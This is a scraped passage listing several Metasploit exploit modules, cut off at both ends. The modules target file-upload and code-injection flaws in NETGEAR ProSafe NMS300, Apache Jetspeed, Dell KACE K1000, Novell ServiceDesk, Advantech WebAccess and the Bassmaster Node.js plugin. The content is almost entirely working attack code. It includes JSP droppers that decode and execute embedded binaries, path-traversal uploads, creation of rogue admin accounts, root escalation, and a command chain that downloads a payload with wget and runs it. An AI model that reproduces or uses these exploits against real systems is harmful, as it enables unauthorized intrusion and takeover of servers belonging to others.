fostream.close(); Runtime.getRuntime().exec("#{exe_name}"); %>| # Since we're sending it as a GET request, we want to keep it smaller so # we gsub stuff we don't want. jsp.gsub!("\n", '') jsp.gsub!(' ', ' ') Rex::Text.uri_encode(jsp) end def upload_stager(stager_name, exe_name) # wavfile = Has to be longer than 4 bytes (otherwise you hit a java bug) jsp_stager = get_jsp_stager(exe_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'playAudioFile.jsp') send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'encode_params' => false, # Don't encode %00 for us 'vars_post' => { 'sess' => "..\\#{stager_name}%00", 'recxml' => jsp_stager, 'audiopath' => Rex::Text.rand_text_alpha(1), 'wavfile' => "#{Rex::Text.rand_text_alpha(5)}.wav", 'evaluation' => Rex::Text.rand_text_alpha(1) } }) end def upload_payload(stager_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name) send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'data' => generate_payload_exe(code: payload.encoded) }) end def print_status(msg) super("#{rhost}:#{rport} - #{msg}") end end
  13. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload', 'Description' => %q{ Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. The application has a file upload vulnerability that can be exploited by an unauthenticated remote attacker to execute code as the SYSTEM user. Two servlets are vulnerable, FileUploadController (located at /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do). This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-1525'], ['US-CERT-VU', '777024'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Privileged' => true, 'Targets' => [ [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 4 2016')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, "Application path", '/']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), 'method' => 'GET' }) if res && res.code == 405 Exploit::CheckCode::Detected else Exploit::CheckCode::Safe end end def generate_jsp_payload exe = generate_payload_exe base64_exe = Rex::Text.encode_base64(exe) payload_name = rand_text_alpha(rand(6)+3) var_raw = 'a' + rand_text_alpha(rand(8) + 3) var_ostream = 'b' + rand_text_alpha(rand(8) + 3) var_buf = 'c' + rand_text_alpha(rand(8) + 3) var_decoder = 'd' + rand_text_alpha(rand(8) + 3) var_tmp = 'e' + rand_text_alpha(rand(8) + 3) var_path = 'f' + rand_text_alpha(rand(8) + 3) var_proc2 = 'e' + rand_text_alpha(rand(8) + 3) jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); } catch (Exception e) { } %> | jsp.gsub!(/[\n\t\r]/, '') return jsp end def exploit jsp_payload = generate_jsp_payload jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) jsp_full_name = "null#{jsp_name}.jsp" post_data = Rex::MIME::Message.new post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"') post_data.add_part(jsp_payload, "application/octet-stream", 'binary', "form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"") data = post_data.to_s print_status("#{peer} - Uploading payload...") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/ print_status("#{peer} - Payload uploaded successfully") else fail_with(Failure::Unknown, "#{peer} - Payload upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name), 'method' => 'GET' }) handler end end
  14. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Jetspeed Arbitrary File Upload', 'Description' => %q{ This module exploits the unsecured User Manager REST API and a ZIP file path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier versions, to upload and execute a shell. Note: this exploit will create, use, and then delete a new admin user. Warning: in testing, exploiting the file upload clobbered the web interface beyond repair. No workaround has been found yet. Use this module at your own risk. No check will be implemented. }, 'Author' => [ 'Andreas Lindh', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2016-0710'], ['CVE', '2016-0709'], ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'], ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'], ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710'] ], 'DisclosureDate' => 'Mar 6 2016', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'win'], 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'], ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win'] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(8080) ]) end def print_status(msg='') super("#{peer} - #{msg}") end def print_warning(msg='') super("#{peer} - #{msg}") end def exploit print_status("Creating admin user: #{username}:#{password}") create_admin_user # This was originally a typo... but we're having so much fun! print_status('Kenny Loggins in') kenny_loggins print_warning('You have entered the Danger Zone') print_status("Uploading payload ZIP: #{zip_filename}") upload_payload_zip print_status("Executing JSP shell: /jetspeed/#{jsp_filename}") exec_jsp_shell end def cleanup print_status("Deleting user: #{username}") delete_user super end # # Exploit methods # def create_admin_user send_request_cgi( 'method' => 'POST', 'uri' => '/jetspeed/services/usermanager/users', 'vars_post' => { 'name' => username, 'password' => password, 'password_confirm' => password } ) send_request_cgi( 'method' => 'POST', 'uri' => "/jetspeed/services/usermanager/users/#{username}", 'vars_post' => { 'user_enabled' => 'true', 'roles' => 'admin' } ) end def kenny_loggins res = send_request_cgi( 'method' => 'GET', 'uri' => '/jetspeed/login/redirector' ) res = send_request_cgi!( 'method' => 'POST', 'uri' => '/jetspeed/login/j_security_check', 'cookie' => res.get_cookies, 'vars_post' => { 'j_username' => username, 'j_password' => password } ) @cookie = res.get_cookies end # Let's pretend we're mechanize def import_file res = send_request_cgi( 'method' => 'GET', 'uri' => '/jetspeed/portal/Administrative/site.psml', 'cookie' => @cookie ) html = res.get_html_document import_export = html.at('//a[*//text() = "Import/Export"]/@href') res = send_request_cgi!( 'method' => 'POST', 'uri' => import_export, 'cookie' => @cookie ) html = res.get_html_document html.at('//form[*//text() = "Import File"]/@action') end def upload_payload_zip zip = Rex::Zip::Archive.new zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded) mime = Rex::MIME::Message.new mime.add_part(zip.pack, 'application/zip', 'binary', %Q{form-data; name="fileInput"; filename="#{zip_filename}"}) mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"') mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"') case target['Platform'] when 'linux' register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}") register_files_for_cleanup("../temp/#{username}/#{zip_filename}") when 'win' register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}") register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}") end send_request_cgi( 'method' => 'POST', 'uri' => import_file, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'cookie' => @cookie, 'data' => mime.to_s ) end def exec_jsp_shell send_request_cgi( 'method' => 'GET', 'uri' => "/jetspeed/#{jsp_filename}", 'cookie' => @cookie ) end # # Cleanup methods # def delete_user send_request_cgi( 'method' => 'DELETE', 'uri' => "/jetspeed/services/usermanager/users/#{username}" ) end # XXX: This is a hack because FileDropper doesn't delete directories def on_new_session(session) super case target['Platform'] when 'linux' print_status("Deleting user temp directory: ../temp/#{username}") session.shell_command_token("rm -rf ../temp/#{username}") when 'win' print_status("Deleting user temp directory: ..\\temp\\#{username}") session.shell_command_token("rd /s /q ..\\temp\\#{username}") end end # # Utility methods # def username @username ||= Rex::Text.rand_text_alpha_lower(8) end def password @password ||= Rex::Text.rand_text_alphanumeric(8) end def jsp_filename @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp' end def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' end end
  15. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Dell KACE K1000 File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in Kace K1000 versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547 which allows unauthenticated users to execute arbitrary commands under the context of the 'www' user. This module also abuses the 'KSudoClient::RunCommandWait' function to gain root privileges. This module has been tested successfully with Dell KACE K1000 version 5.3. }, 'License' => MSF_LICENSE, 'Privileged' => true, 'Platform' => 'unix', # FreeBSD 'Arch' => ARCH_CMD, 'Author' => [ 'Bradley Austin (steponequit)', # Initial discovery and exploit 'Brendan Coles <bcoles[at]gmail.com>', # Metasploit ], 'References' => [ ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html'] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x27", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl' } }, 'DefaultTarget' => 0, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'DisclosureDate' => 'Mar 7 2014')) end def check res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php')) unless res vprint_error('Connection failed') return Exploit::CheckCode::Unknown end if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000' if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/ vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}") if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3 return Exploit::CheckCode::Vulnerable elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849 return Exploit::CheckCode::Vulnerable elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547 return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit # upload payload fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php" payload_path = "/kbox/kboxwww/tmp/" post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>" print_status("Uploading #{fname} (#{post_data.length} bytes)") res = send_request_cgi( 'uri' => normalize_uri('service', 'kbot_upload.php'), 'method' => 'POST', 'vars_get' => Hash[{ 'filename' => fname, 'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}", 'checksum' => 'SCRAMBLE', 'mac' => rand_text_alphanumeric(rand(8) + 5), 'kbotId' => rand_text_alphanumeric(rand(8) + 5), 'version' => rand_text_alphanumeric(rand(8) + 5), 'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle], 'data' => post_data) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code && res.code == 200 print_good('Payload uploaded successfully') else fail_with(Failure::UnexpectedReply, 'Unable to upload payload') end # execute payload res = send_request_cgi('uri' => normalize_uri('tmp', fname)) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code && res.code == 200 print_good('Payload executed successfully') elsif res.code && res.code == 404 fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'") else fail_with(Failure::UnexpectedReply, 'Unable to execute payload') end end end
  16. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ServiceDesk Authenticated File Upload', 'Description' => %q{ This module exploits an authenticated arbitrary file upload via directory traversal to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in Windows and Linux installations of Novell ServiceDesk, as well as the Virtual Appliance provided by Novell. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-1593' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ], [ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ] ], 'Platform' => %w{ linux win }, 'Arch' => ARCH_X86, 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Targets' => [ [ 'Automatic', {} ], [ 'Novell ServiceDesk / Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Novell ServiceDesk / Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], ], 'Privileged' => false, # Privileged on Windows but not on (most) Linux targets 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 30 2016' )) register_options( [ OptPort.new('RPORT', [true, 'The target port', 80]), OptString.new('USERNAME', [true, 'The username to login as', 'admin']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), OptString.new('TRAVERSAL_PATH', [false, 'Traversal path to tomcat/webapps/LiveTime/']) ], self.class) end def get_version res = send_request_cgi({ 'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'), 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', } }) if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/ return $1.to_f else return 999 end end def check version = get_version if version <= 7.1 && version >= 6.5 return Exploit::CheckCode::Appears elsif version > 7.1 return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown end end def pick_target return target if target.name != 'Automatic' print_status("#{peer} - Determining target") os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} traversal_paths = [] if datastore['TRAVERSAL_PATH'] traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path end # add Virtual Appliance path plus the traversal in a Windows or Linux self install traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/']) # test each path to determine OS (and correct path) traversal_paths.each do |traversal_path| jsp_name = upload_jsp(traversal_path, os_finder_payload) res = send_request_cgi({ 'uri' => normalize_uri('LiveTime', jsp_name), 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies }) if res && res.code == 200 if res.body.to_s =~ /Windows/ @my_target = targets[2] else # Linux here @my_target = targets[1] end if traversal_path.include? '/srv/tomcat6/webapps/' register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) else register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) end return traversal_path end end return nil end def upload_jsp(traversal_path, jsp) jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp" post_data = Rex::MIME::Message.new post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"") data = post_data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@upload_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) if not res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...") else return jsp_name end end def create_jsp opts = {:arch => @my_target.arch, :platform => @my_target.platform} payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6)+3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) var_path = Rex::Text.rand_text_alpha(rand(8) + 3) var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp = jsp.gsub(/\x0d\x0a/, "") jsp = jsp.gsub(/\x0a/, "") return jsp end def exploit version = get_version # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', } }) if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ login_url = $2 @cookies = res.get_cookies if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/ password_form = $1 else # we shouldn't hit this condition at all, this is default for v7+ password_form = 'password' end if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/ username_form = $1 else # we shouldn't hit this condition at all, this is default for v7+ username_form = 'username' end else fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.") end # 2: authenticate and get the import_url res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(login_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'vars_post' => { username_form => datastore['USERNAME'], password_form => datastore['PASSWORD'], 'ButtonLogin' => 'Login' } }) if res && res.code == 200 && (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5 import_url = $1 else # hmm either the password is wrong or someone else is using "our" account.. . # let's try to boot him out if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ && res.body.to_s =~ /This account is in use on another system/ res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(login_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'vars_post' => { username_form => datastore['USERNAME'], password_form => datastore['PASSWORD'], 'ButtonLoginOverride' => 'Login' } }) if res && res.code == 200 && (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5 import_url = $1 else fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") end else fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") end end # 3: get the upload_url res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(import_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'vars_post' => { 'ButtonImport' => 'Import' } }) if res && res.code == 200 && (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5 @upload_url = $1 else fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.") end if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/ @upload_form = $1 else # go with the default for 7.1.0, might not work with other versions... @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23" end # 4: target selection @my_target = nil # pick_target returns the traversal_path and sets @my_target traversal_path = pick_target if @my_target.nil? fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.") else print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}") end # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end # 5: generate the JSP with the payload jsp = create_jsp print_status("#{peer} - Uploading payload...") jsp_name = upload_jsp(traversal_path, jsp) if traversal_path.include? '/srv/tomcat6/webapps/' register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) else register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) end # 6: pwn it! print_status("#{peer} - Requesting #{jsp_name}") send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)}) handler end end
  17. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload", 'Description' => %q{ This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to upload arbitrary code (instead of an image) to the server, which will then be executed under the high-privilege context of the IIS AppPool. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', # Vulnerability discovery 'Zhou Yu <504137480[at]qq.com>' # MSF module ], 'References' => [ [ 'CVE', '2016-0854' ], [ 'ZDI', '16-128' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01'] ], 'Platform' => 'win', 'Targets' => [ ['Advantech WebAccess 8.0', {}] ], 'Privileged' => false, 'DisclosureDate' => "Feb 5 2016", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/']) ], self.class) end def version_match(data) # Software Build : 8.0-2015.08.15 fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/) fingerprint['version'] unless fingerprint.nil? end def vuln_version? res = send_request_cgi( 'method' => 'GET', 'uri' => target_uri.to_s ) if res.redirect? res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(res.redirection) ) end ver = res && res.body ? version_match(res.body) : nil true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false end def check if vuln_version? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def upload_file?(filename, file) uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx') data = Rex::MIME::Message.new data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"') data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"") res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => "waUserName=admin", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false end def exec_file?(filename) uri = normalize_uri(target_uri) res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) uri = normalize_uri(target_uri, 'WADashboard', filename) res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => res.get_cookies ) true ? res && res.code == 200 : false end def exploit unless vuln_version? print_status("#{peer} - Cannot reliably check exploitability.") return end filename = "#{Rex::Text.rand_text_alpha(5)}.aspx" filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe) print_status("#{peer} - Uploading malicious file...") return unless upload_file?(filename, filedata) print_status("#{peer} - Executing #{filename}...") return unless exec_file?(filename) end end
  18. require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution', 'Description' => %q{ This module exploits an un-authenticated code injection vulnerability in the bassmaster nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an attacker to dynamically execute JavaScript code on the server side using an eval. Note that the code uses a '\x2f' character so that we hit the match on the regex. }, 'Author' => [ 'mr_me <[email protected]>', # msf 'Jarda Kotesovec' # original bug finder ], 'References' => [ [ 'CVE', '2014-7205'], [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'bsd'], # binary > native JavaScript 'Arch' => [ARCH_X86, ARCH_X86_64], 'Privileged' => false, 'Targets' => [ [ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 1 2016')) register_options( [ Opt::RPORT(8080), # default port for the examples/batch.js file OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), ], self.class) end def check # So if we can append an encapsulated string into the body # we know that we can execute arbitrary JavaScript code rando = rand_text_alpha(8+rand(8)) check = "+'#{rando}'" # testing requests = [ {:method => "get", :path => "/profile"}, {:method => "get", :path => "/item"}, {:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g; ] post = {:requests => requests} res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['URIPATH']), 'ctype' => 'application/json', 'data' => post.to_json }) # default example app if res and res.code == 200 and res.body =~ /#{rando}/ return CheckCode::Vulnerable # non-default app elsif res and res.code == 500 and res.body =~ /#{rando}/ return CheckCode::Appears end return CheckCode::Safe end def on_request_uri(cli, request) if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end def send_payload @bd = rand_text_alpha(8+rand(8)) pn = rand_text_alpha(8+rand(8)) register_file_for_cleanup("/tmp/#{@bd}") cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};" cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};" cmd << "\\x2ftmp\\x2f#{@bd}" pay = ";require('child_process').exec('#{cmd}');" # pwning requests = [ {:method => "get", :path => "/profile"}, {:method => "get", :path => "/item"}, {:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g; ] post = {:requests => requests} res = send_request_cgi({ 'method' 